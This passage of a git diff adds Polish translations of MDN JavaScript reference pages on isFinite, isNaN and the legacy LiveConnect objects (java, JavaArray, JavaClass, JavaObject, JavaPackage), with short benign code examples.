+<p>Można użyć tej metody do określenia czy dana liczba jest skończona. Metoda <code>isFinite()</code> sprawdza liczbę podaną jako jej argument. Jeśli argument ma wartość {{jsxref("NaN")}} (nie jest liczbą), jest dodatnią lub ujemną nieskończonością, metoda ta zwraca <code>false</code>, w przeciwnym wypadku zwraca wartość <code>true</code>.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<pre class="brush: js">isFinite(Infinity); // false
+isFinite(NaN); // false
+isFinite(-Infinity); // false
+
+isFinite(0); // true
+isFinite(2e64); // true
+
+
+isFinite("0"); // true, would've been false with the
+ // more robust Number.isFinite("0")
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Number.isFinite()")}}</li>
+ <li>{{jsxref("Number.NaN()")}}</li>
+ <li>{{jsxref("Number.POSITIVE_INFINITY")}}</li>
+ <li>{{jsxref("Number.NEGATIVE_INFINITY")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/isnan/index.html b/files/pl/web/javascript/referencje/obiekty/isnan/index.html
new file mode 100644
index 0000000000..f2730b9c00
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/isnan/index.html
@@ -0,0 +1,53 @@
+---
+title: isNaN()
+slug: Web/JavaScript/Referencje/Obiekty/isNaN
+tags:
+ - JavaScript
+translation_of: Web/JavaScript/Reference/Global_Objects/isNaN
+---
+<p>{{jsSidebar("Objects")}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Sprawdza, czy argument nie ma wartości NaN ("nie-liczba").</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>isNaN(<em>testowanaWartość</em>)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>testowanaWartość</code> </dt>
+ <dd>Wartość do sprawdzenia.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p><code>isNaN</code> jest funkcją najwyższego rzędu i nie jest przypisana do żadnego obiektu.</p>
+
+<p>Funkcje <code>parseFloat</code> i <code>parseInt</code> zwracają <code>NaN</code>, kiedy wyliczą wartość, która nie jest liczbą. <code>isNaN</code> zwraca <code>true</code>, jeśli przekazano jej <code>NaN</code>, a <code>false</code> w przeciwnym wypadku.</p>
+
+<p>Funkcja ta jest o tyle przydatna, że wartości {{jsxref("NaN", "NaN")}} nie można skutecznie sprawdzać przy użyciu operatorów równości. <code>x == NaN</code> i <code>x === NaN</code> mają zawsze wartość <code>false</code>, bez względu na to, jaką wartość ma <code>x</code>, nawet jeśli <code>x</code> to <code>NaN</code>. Na przykład, zarówno <code>1 == NaN</code>, jak i <code>NaN == NaN</code> zwracają <code>false</code>.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_isNaN" name="Przyk.C5.82ad:_Zastosowanie_isNaN">Przykład: Zastosowanie <code>isNaN</code></h3>
+
+<p>Poniższy przykład wylicza wartość <code>floatValue</code>, by sprawdzić, czy jest liczbą, a następnie wywołuje odpowiednią procedurę.</p>
+
+<pre class="brush: js">var floatValue = parseFloat(toFloat);
+
+if (isNaN(floatValue)) {
+ notFloat();
+} else {
+ isFloat();
+}
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("NaN")}}</li>
+ <li>{{jsxref("Number.isNaN()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/java/index.html b/files/pl/web/javascript/referencje/obiekty/java/index.html
new file mode 100644
index 0000000000..94e53a85b0
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/java/index.html
@@ -0,0 +1,29 @@
+---
+title: java
+slug: Web/JavaScript/Referencje/Obiekty/java
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Archive/Web/LiveConnect_Reference/java
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p><b>Obiekt główny</b>
+</p><p>Obiekt najwyższego poziomu używany do korzystania z klas języka Java z pakietu <code>java.*</code>.
+</p>
+<h3 id="Tworzony_przez" name="Tworzony_przez"> Tworzony przez </h3>
+<p>Obiekt <code>java</code> w języku JavaScript jest predefiniowanym obiektem najwyższego poziomu. Nie ma potrzeby stosowania konstruktora lub wywoływania jakiejkolwiek metody by z niego korzystać.
+</p>
+<h3 id="Opis" name="Opis"> Opis </h3>
+<p>Obiekt <code>java</code> jest synonimem dla własności <code>Packages.java</code>.
+</p>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<p><code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Packages">Packages</a>,
+<a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Packages/java">Packages.java</a></code>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Global_Objects/java", "es": "es/Referencia_de_JavaScript_1.5/Objetos_globales/java" } ) }}
diff --git a/files/pl/web/javascript/referencje/obiekty/javaarray/index.html b/files/pl/web/javascript/referencje/obiekty/javaarray/index.html
new file mode 100644
index 0000000000..ad4f84b0c4
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/javaarray/index.html
@@ -0,0 +1,68 @@
+---
+title: JavaArray
+slug: Web/JavaScript/Referencje/Obiekty/JavaArray
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Archive/Web/LiveConnect_Reference/JavaArray
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p><b>Obiekt główny</b> </p><p>Zapakowana tablica Javy, do której dostęp uzyskuje się poprzez kod JavaScript jest członkiem typu <code>JavaArray</code>. </p>
+<h3 id="Tworzone_przez" name="Tworzone_przez"> Tworzone przez </h3>
+<p>Jakąkolwiek metodę Javy, która zwraca tablicę. W dodatku, możesz stworzyć obiekt <code>JavaArray</code> z dowolnym typem danych używając metody <code>newInstance</code> klasy <code>Array</code>:
+</p>
+<pre class="eval">public static Object newInstance(Class componentType,
+ int length)
+ throws NegativeArraySizeException
+</pre>
+<h3 id="Opis" name="Opis"> Opis </h3>
+<p>Obiekt <code>JavaArray</code> jest wystąpieniem tablicy Javy, która jest stworzona wewnątrz kody JavaScript lub do niego przekazana. <code>JavaArray</code> jest opakowaniem (ang. <i>wrapper</i>) dla tej instancji; wszystkie referencje do niej są robione przez <code>JavaArray</code>.
+</p><p>W JavaScript 1.4 i późniejszym, parametr <code>componentType</code> jest albo obiektem typu <code>JavaClass</code> reprezentującym typ tablicy albo obiektem klasowym, jak na przykład obiekt zwracany przez <code>java.lang.Class.forName</code>. W JavaScript 1.3 i wcześniejszych, <code>componentType</code> musi być obiektem klasowym.
+</p><p>Użyj indeksy oparte na zerze, aby uzyskać dostęp do obiektu <code>JavaArray</code>, tak samo jak robisz to w Javie. Na przykład:
+</p>
+<pre>var javaString = new java.lang.String("Hello world!");
+var byteArray = javaString.getBytes();
+byteArray[0] // zwraca 72
+byteArray[1] // zwraca 101
+</pre>
+<p>Jakiekolwiek dane Javy przeniesione do JavaScriptu są konwertowane do typów danych JavaScriptu. Kiedy obiekt <code>JavaArray</code> jest przekazany z powrotem do Javy, obiekt jest rozpakowywany i może być użyty przez kod Javy. Zobacz <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5">Przewodnik po języku JavaScript 1.5</a>, aby uzyskać więcej informacji na temat konwersji typów danych. </p><p>W JavaScripcie 1.4 i późniejszym, metody <code>java.lang.Object</code> są dziedziczone przez <code>JavaArray</code>.
+</p>
+<h3 id="Zgodno.C5.9B.C4.87_wsteczna" name="Zgodno.C5.9B.C4.87_wsteczna"> Zgodność wsteczna </h3>
+<h4 id="JavaScript_1.3_i_wersje_wcze.C5.9Bniejsze" name="JavaScript_1.3_i_wersje_wcze.C5.9Bniejsze"> JavaScript 1.3 i wersje wcześniejsze </h4>
+<p>Metody <code>java.lang.Object</code> nie są dziedziczone przez <code>JavaArray</code>. W dodatku, metoda <code>toString</code> jest dziedziczona z obiektu <code>Object</code> i zwraca następującą wartość:
+</p>
+<pre class="eval">[object JavaArray]
+</pre>
+<p>Musisz określić klasę obiektu, tak jak jeden zwracany przez <code>java.lang.Object.forName</code>, dla parametru <code>componentType</code>, <code>newInstance</code> kiedy użyjesz tej metody do utworzenia tablicy. Nie możesz użyć obiektu <code>JavaClass</code> dla parametru <code>componentType</code>.
+</p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/JavaArray/length">length</a>: Numer elementu w Java array reprezentowana przez <code>JavaArray</code>.
+</p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/JavaArray/toString">toString</a>: W JavaScript 1.4, ta metoda ta nie jest uwzględniana przez odziedziczona metodę <code>java.lang.Object.toString</code>. W JavaScript 1.3 lub lub wcześniejszym, metoda ta zwraca ciąg znaków (stringa) identyfikującego obiekt jako <code>JavaArray</code>.
+</p><p>W JavaScript 1.4 lub późniejszym, <code>JavaArray</code> dziedziczy również metody z superklasy tablicy Javy, <code>java.lang.Object</code>.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<h4 id="Przyk.C5.82ad:_Tworzenie_JavaArray_w_JavaScript" name="Przyk.C5.82ad:_Tworzenie_JavaArray_w_JavaScript"> Przykład: Tworzenie <code>JavaArray</code> w JavaScript </h4>
+<p>W tym przykładzie, <code>JavaArray</code> <code>tablicaBitowa</code> jest stworzona przez metodę <code>java.lang.String.getBytes</code>, która zwraca tablicę.
+</p>
+<pre class="eval">var stringJavy = new java.lang.String("Witaj świecie!");
+var tablicaBitowa = stringJavy.getBytes();
+</pre>
+<h4 id="Przyk.C5.82ad:_Tworzenie_JavaArray_w_JavaScript_z_metod.C4.85_newInstance" name="Przyk.C5.82ad:_Tworzenie_JavaArray_w_JavaScript_z_metod.C4.85_newInstance"> Przykład: Tworzenie <code>JavaArray</code> w JavaScript z metodą <code>newInstance</code> </h4>
+<p>W JavaScript 1.4, możesz użyć obiekt <code>JavaClass</code> jako argument dla metody <code>newInstance</code>, która tworzy tablicę, jak jest to pokazane w następującym kodzie:
+</p>
+<pre class="eval">var dogs = java.lang.reflect.Array.newInstance(java.lang.String, 5);
+</pre>
+<p>W JavaScript 1.1, użyj obiektu klasy, zwracanego <code>java.lang.Class.forName</code> jako argument dla metody newInstance, jak pokazuje następujący kod:
+</p>
+<pre class="eval">var dataType = java.lang.Class.forName("java.lang.String");
+var dogs = java.lang.reflect.Array.newInstance(dataType, 5);
+</pre>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Global_Objects/JavaArray", "es": "es/Referencia_de_JavaScript_1.5/Objetos_globales/JavaArray" } ) }}
diff --git a/files/pl/web/javascript/referencje/obiekty/javaarray/length/index.html b/files/pl/web/javascript/referencje/obiekty/javaarray/length/index.html
new file mode 100644
index 0000000000..584bf347e8
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/javaarray/length/index.html
@@ -0,0 +1,29 @@
+---
+title: length
+slug: Web/JavaScript/Referencje/Obiekty/JavaArray/length
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Archive/Web/LiveConnect_Reference/JavaArray/length
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Liczba elementów tablicy w Javie reprezentowana przez obiekt <code>JavaArray</code>.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<td class="header" colspan="2">Własność obiektu: <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/JavaArray">JavaArray</a></td>
+</tr>
+<tr>
+<td>Zaimplementowana w:</td>
+<td>JavaScript 1.1, NES 2.0</td>
+</tr>
+</tbody></table>
+<h3 id="Opis" name="Opis"> Opis </h3>
+<p>Niepodobny do <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Array/length">Array.length</a></code>, <code>JavaArray.length</code> jest własnością tylko do odczytu. Nie możemy zmieniać wartości własności <code>JavaArray.length</code>, ponieważ tablice w Javie mają fałszywą liczbę elementów. </p>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<p><code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Array/length">Array.length</a></code>
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Global_Objects/JavaArray/length" } ) }}
diff --git a/files/pl/web/javascript/referencje/obiekty/javaarray/tostring/index.html b/files/pl/web/javascript/referencje/obiekty/javaarray/tostring/index.html
new file mode 100644
index 0000000000..384cb3ab8b
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/javaarray/tostring/index.html
@@ -0,0 +1,38 @@
+---
+title: toString
+slug: Web/JavaScript/Referencje/Obiekty/JavaArray/toString
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Archive/Web/LiveConnect_Reference/JavaArray/toString
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Zwraca łańcuch znakowy reprezentowany przez <code>JavaArray</code>.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<td class="header" colspan="2">Metoda obiektu <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/JavaArray">JavaArray</a></td>
+</tr>
+<tr>
+<td>Zaimplementowana w:</td>
+<td>JavaScript 1.1, NES 2.0</td>
+</tr>
+</tbody></table>
+<h3 id="Parametry" name="Parametry"> Parametry </h3>
+<p>Brak.
+</p>
+<h3 id="Opis" name="Opis"> Opis </h3>
+<p>Nazywamy metodę <code>java.lang.Object.toString</code>, która zwróci wartość następującego wyrażenia: </p>
+<pre>JavaArray.getClass().getName() + '@' +
+ java.lang.Integer.toHexString(JavaArray.hashCode())
+</pre>
+<h3 id="Zgodno.C5.9B.C4.87_wsteczna" name="Zgodno.C5.9B.C4.87_wsteczna"> Zgodność wsteczna </h3>
+<h4 id="JavaScript_1.3_i_wersje_wcze.C5.9Bniejsze" name="JavaScript_1.3_i_wersje_wcze.C5.9Bniejsze"> JavaScript 1.3 i wersje wcześniejsze </h4>
+<p>Metoda <code>toString</code> jest dziedziczona z obiektu <code>Object</code> i zwraca następującą wartość: </p>
+<pre>[object JavaArray]
+</pre>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Global_Objects/JavaArray/toString" } ) }}
diff --git a/files/pl/web/javascript/referencje/obiekty/javaclass/index.html b/files/pl/web/javascript/referencje/obiekty/javaclass/index.html
new file mode 100644
index 0000000000..6a71eb42fe
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/javaclass/index.html
@@ -0,0 +1,60 @@
+---
+title: JavaClass
+slug: Web/JavaScript/Referencje/Obiekty/JavaClass
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Archive/Web/LiveConnect_Reference/JavaClass
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p><b>Obiekt główny</b>
+</p><p>Referencja JavaScriptu do klasy Javy.
+</p>
+<h3 id="Tworzony_przez" name="Tworzony_przez"> Tworzony przez </h3>
+<p>Referencja do nazwy klasy użyta wraz z obiektem <code>Packages</code>:
+</p>
+<pre class="eval">Packages.<i>KlasaJavy</i>
+</pre>
+<p><i>KlasaJavy</i> jest w pełni podaną nazwą klasy Javy obiektu. LiveConnect obiektów <code>java</code>, <code>sun</code> i <code>netscape</code> zawierają skróty do często używanych w pakietach Javy jak również tworzą obiekty <code>JavaClass</code>.
+</p>
+<h3 id="Opis" name="Opis"> Opis </h3>
+<p>Obiekt <code>JavaClass</code> jest referencją do jednej z klas pakietu Javy, jak na przykład <code>netscape.javascript.JSObject</code>. Obiekt <code>JavaPackage</code> jest referencją do pakietu Javy, jak na przykład <code>netscape.javascript</code>. W JavaScript, hierarchia <code>JavaPackage</code> i <code>JavaClass</code> jest odbiciem pakietów Javy i hierarchii klas.
+</p><p>Przechodząc obiekt <code>JavaClass</code> do metody, która żąda argument typu <code>java.lang.Class</code>.
+</p>
+<h3 id="Zgodno.C5.9B.C4.87_wsteczna" name="Zgodno.C5.9B.C4.87_wsteczna"> Zgodność wsteczna </h3>
+<h4 id="JavaScript_1.3_i_wersje_wcze.C5.9Bniejsze" name="JavaScript_1.3_i_wersje_wcze.C5.9Bniejsze"> JavaScript 1.3 i wersje wcześniejsze </h4>
+<p>Musisz utworzyć opakowanie dla instancji <code>java.lang.Class</code>, zanim przekażesz ją jako parametr dla metody Javy - obiektu <code>JavaClass</code> nie są automatycznie konwertowane do instancji <code>java.lang.Class</code>.
+</p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>Własności obiektu <code>JavaClass</code> są statycznymi polami tej klasy Javy.
+</p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p>Metody obiektu <code>JavaClass</code> są statycznymi metodami tej klasy Javy.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<h4 id="Przyk.C5.82ad:_Zastosowanie_JavaClass" name="Przyk.C5.82ad:_Zastosowanie_JavaClass"> Przykład: Zastosowanie <code>JavaClass</code> </h4>
+<p>W poniższym przykładzie, <code>x</code> jest obiektem typu JavaClass odpowiadającym <code>java.awt.Font</code>. Ponieważ <code>BOLD</code> jest statycznym polem klasy Font, jest również własnością obiektu JavaClass.
+</p>
+<pre class="eval">x = java.awt.Font;
+mojFont = x("helv", x.BOLD, 10); // tworzy obiekt Font
+</pre>
+<p>Powyższy przykład pomija słowo kluczowe <code>Packages</code> i używa synonimu <code>java</code>, ponieważ klasa <code>Font</code> należy do pakietu <code>java</code>.
+</p>
+<h4 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h4>
+<p>W poniższym przykładzie, obiekt typu <code>JavaClass</code>, <code>java.lang.String</code> jest przekazany jako argument do metody <code>newInstance</code>, która tworzy tablicę:
+</p>
+<pre class="eval">var samochody = java.lang.reflect.Array.newInstance(java.lang.String, 15);
+</pre>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<p><code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/JavaArray">JavaArray</a>,
+<a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/JavaObject">JavaObject</a>,
+<a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/JavaPackage">JavaPackage</a>,
+<a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Packages">Packages</a></code>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Global_Objects/JavaClass", "es": "es/Referencia_de_JavaScript_1.5/Objetos_globales/JavaClass" } ) }}
diff --git a/files/pl/web/javascript/referencje/obiekty/javaobject/index.html b/files/pl/web/javascript/referencje/obiekty/javaobject/index.html
new file mode 100644
index 0000000000..3fe6012fd0
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/javaobject/index.html
@@ -0,0 +1,67 @@
+---
+title: JavaObject
+slug: Web/JavaScript/Referencje/Obiekty/JavaObject
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Archive/Web/LiveConnect_Reference/JavaObject
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p><b>Obiekt główny</b>
+</p><p>Typ zapakowanego (ang. <i>wrapped</i>) obiektu Javy, do którego dostęp uzyskuje się z wnętrza kodu JavaScriptu.
+</p>
+<h3 id="Tworzone_przez" name="Tworzone_przez"> Tworzone przez </h3>
+<p>Jakąkolwiek metodę Javy, która zwraca typ obiektu. Na dodatek, możesz stworzyć obiekt <code>JavaObject</code> używając konstruktora obiektu w Javie za pomocą słowa kluczowego <code>Packages</code>:
+</p>
+<pre class="eval">new Packages.<i>KlasaJavy</i>(<i>listaParametrow</i>)
+</pre>
+<p><i>KlasaJavy</i> jest dokładną nazwą klasy obiektu w Javie.
+</p>
+<h3 id="Parametry" name="Parametry"> Parametry </h3>
+<dl><dt> <code>listaParametrow</code></dt><dd> Opcjonalna lista parametrów, określona przez konstruktor klasy Javy.
+</dd></dl>
+<h3 id="Opis" name="Opis"> Opis </h3>
+<p>Obiekt <code>JavaObject</code> jest instancją klasy Javy, która jest stworzona wewnątrz kodu JavaScriptu lub jemu przekazana. <code>JavaObject</code> jest opakowaniem (<i>wrapper</i>) instancji; wszystkie referencje do instancji klasy są robione poprzez <code>JavaObject</code>.
+</p><p>Jakiekolwiek dane Javy użyte wewnątrz JavaScript-u są konwertowane do typów danych JavaScriptu. Kiedy <code>JavaObject</code> jest przekazany z powrotem do Javy, jest on rozpakowywany i może być użyty przez kod Javy. Zobacz <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5">Przewodnik po języku JavaScript 1.5</a>, aby uzyskać więcej informacji na temat konwersji typów danych.
+</p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>Dziedziczy publicznych członków danych (ang. <i>public data members</i>) klasy Javy, której jest instancją, jako własność. Dziedziczy również publicznych członków danych z jakiejkolwiek superklasy jako własność.
+</p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p>Dziedziczy publiczne metody klasy Javy, której jest instancją. <code>JavaObject</code> dziedziczy również metody z <code>java.lang.Object</code> i każdej innej superklasy.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<h4 id="Przyk.C5.82ad:_Tworzenie_instancji_JavaObject_w_JavaScripcie" name="Przyk.C5.82ad:_Tworzenie_instancji_JavaObject_w_JavaScripcie"> Przykład: Tworzenie instancji <code>JavaObject</code> w JavaScripcie </h4>
+<p>Poniższy kod tworzy obiekt <code>ciagZnakow</code> typu <code>JavaObject</code>, który jest instancją klasy <code>java.lang.String</code>:
+</p>
+<pre class="eval">var ciagZnakow = new Packages.java.lang.String("Witaj, świecie");
+</pre>
+<p>Ponieważ klasa <code>String</code> jest wewnątrz pakietu <code>java</code>, możesz również użyć synonimu <code>java</code> i opuścić słowo kluczowe <code>Packages</code>, kiedy tworzysz instancję klasy:
+</p>
+<pre class="eval">var ciagZnakow = new java.lang.String("Witaj, świecie");
+</pre>
+<h4 id="Przyk.C5.82ad:_Uzyskanie_dost.C4.99pu_do_metod_obiektu_Javy" name="Przyk.C5.82ad:_Uzyskanie_dost.C4.99pu_do_metod_obiektu_Javy"> Przykład: Uzyskanie dostępu do metod obiektu Javy </h4>
+<p>Ponieważ obiekt <code>ciagZnakow</code> jest instancją <code>java.labg.String</code>, dziedziczy on wszystkie publiczne metody <code>java.lang.String</code>. Poniższy przykład używa metody <code>startsWith</code> by sprawdzić czy <code>ciagZnakow</code> zaczyna się od <code>"Witaj"</code>.
+</p>
+<pre class="eval">var ciagZnakow = new java.lang.String("Witaj, świecie");
+ciagZnakow.startsWith("Witaj"); // zwraca true
+</pre>
+<h4 id="Przyk.C5.82ad:_Uzyskanie_dost.C4.99pu_do_odziedziczonych_metod" name="Przyk.C5.82ad:_Uzyskanie_dost.C4.99pu_do_odziedziczonych_metod"> Przykład: Uzyskanie dostępu do odziedziczonych metod </h4>
+<p>Ponieważ, <code>getClass</code> jest metodą <code>Object</code> i <code>java.lang.String</code> rozszerza <code>Object</code>, klasa <code>String</code> dziedziczy metodę <code>getClass</code>. Konsekwentnie, <code>getClass</code> jest również metodą <code>JavaObject</code>, która tworzy instancję <code>String</code> w JavaScripcie.
+</p>
+<pre class="eval">var ciagZnakow = new java.lang.String("Witaj, świecie");
+ciagZnakow.getClass(); // zwraca java.lang.String
+</pre>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<p><code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/JavaArray">JavaArray</a>,
+<a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/JavaClass">JavaClass</a>,
+<a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/JavaPackage">JavaPackage</a>,
+<a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Packages">Packages</a></code>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Global_Objects/JavaObject", "es": "es/Referencia_de_JavaScript_1.5/Objetos_globales/JavaObject" } ) }}
diff --git a/files/pl/web/javascript/referencje/obiekty/javapackage/index.html b/files/pl/web/javascript/referencje/obiekty/javapackage/index.html
new file mode 100644
index 0000000000..cd356d6547
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/javapackage/index.html
@@ -0,0 +1,46 @@
+---
+title: JavaPackage
+slug: Web/JavaScript/Referencje/Obiekty/JavaPackage
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Archive/Web/LiveConnect_Reference/JavaPackage
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p><b>Obiekt główny</b>
+</p><p>Odwołanie JavaScriptu do pakietu (ang. <i>package</i>) Javy.
+</p>
+<h3 id="Tworzony_przez" name="Tworzony_przez"> Tworzony przez </h3>
+<p>Odwołanie do nazwy pakietu zastosowane ze słowem kluczowym <code>Package</code>:
+</p>
+<pre class="eval">Packages.<i>JavaPackage</i>
+</pre>
+<p><i>JavaPackage</i> jest nazwą pakietu obiektu Javy. Jeśli pakiet znajduje się wewnątrz pakietów <code>java</code>, <code>netscape</code> lub <code>sun</code>, słowo <code>Packages</code> jest opcjonalne.
+</p>
+<h3 id="Opis" name="Opis"> Opis </h3>
+<p>W Javie, pakiet jest kolekcją klas Javy i innych pakietów Javy. Na przykład, pakiet <code>netscape</code> zawiera pakiet <code>netscape.javascript</code>; pakiet <code>netscape.javascript</code> zawiera klasy <code>JSObject</code> i <code>JSException</code>.
+</p><p>W JavaScripcie, <code>JavaPackage</code> jest referencją do pakietu Javy. Na przykład, referencja do <code>netscape</code> jest typu <code>JavaPackage</code>. <code>netscape.javascript</code> jest za równo typu <code>JavaPackage</code> jak i własnością obiektu JavaPackage, <code>netscape</code>.
+</p><p>Obiekt <code>JavaClass</code> jest referencją do jednej z klas w pakiecie, jak na przykład <code>netscape.javascript.JSObject</code>. Hierarchie <code>JavaPackage</code> i <code>JavaClass</code> odzwierciedlają hierarchie pakietu i klasy Javy.
+</p><p>Jakkolwiek pakiety i klasy zawarte w <code>JavaPackage</code> są ich własnościami, nie możesz stosować struktury <code>for...in</code>, aby nadać im numery tak jak możesz zrobić to z innymi obiektami.
+</p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>Własności <code>JavaPackage</code> są obiektami <code>JavaClass</code> i jakimikolwiek innymi obiektami zawartymi w danej <code>JavaPackage</code>.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>Przypuśćmy, że korporacja Redwood stosuje pakiet <code>redwood</code> Javy, aby przechowywać różne klasy Javy przez nich zaimplementowane. Poniższy kod tworzy <code>JavaPackage</code> <code>red</code>:
+</p>
+<pre class="eval">var red = Packages.redwood;
+</pre>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<p><code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/JavaArray">JavaArray</a>,
+<a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/JavaClass">JavaClass</a>,
+<a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/JavaObject">JavaObject</a>,
+<a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Packages">Packages</a></code>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Global_Objects/JavaPackage", "es": "es/Referencia_de_JavaScript_1.5/Objetos_globales/JavaPackage" } ) }}
diff --git a/files/pl/web/javascript/referencje/obiekty/json/index.html b/files/pl/web/javascript/referencje/obiekty/json/index.html
new file mode 100644
index 0000000000..7a4b6c0812
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/json/index.html
@@ -0,0 +1,147 @@
+---
+title: JSON
+slug: Web/JavaScript/Referencje/Obiekty/JSON
+tags:
+ - JSON
+ - JavaScript
+ - Obiekt
+translation_of: Web/JavaScript/Reference/Global_Objects/JSON
+---
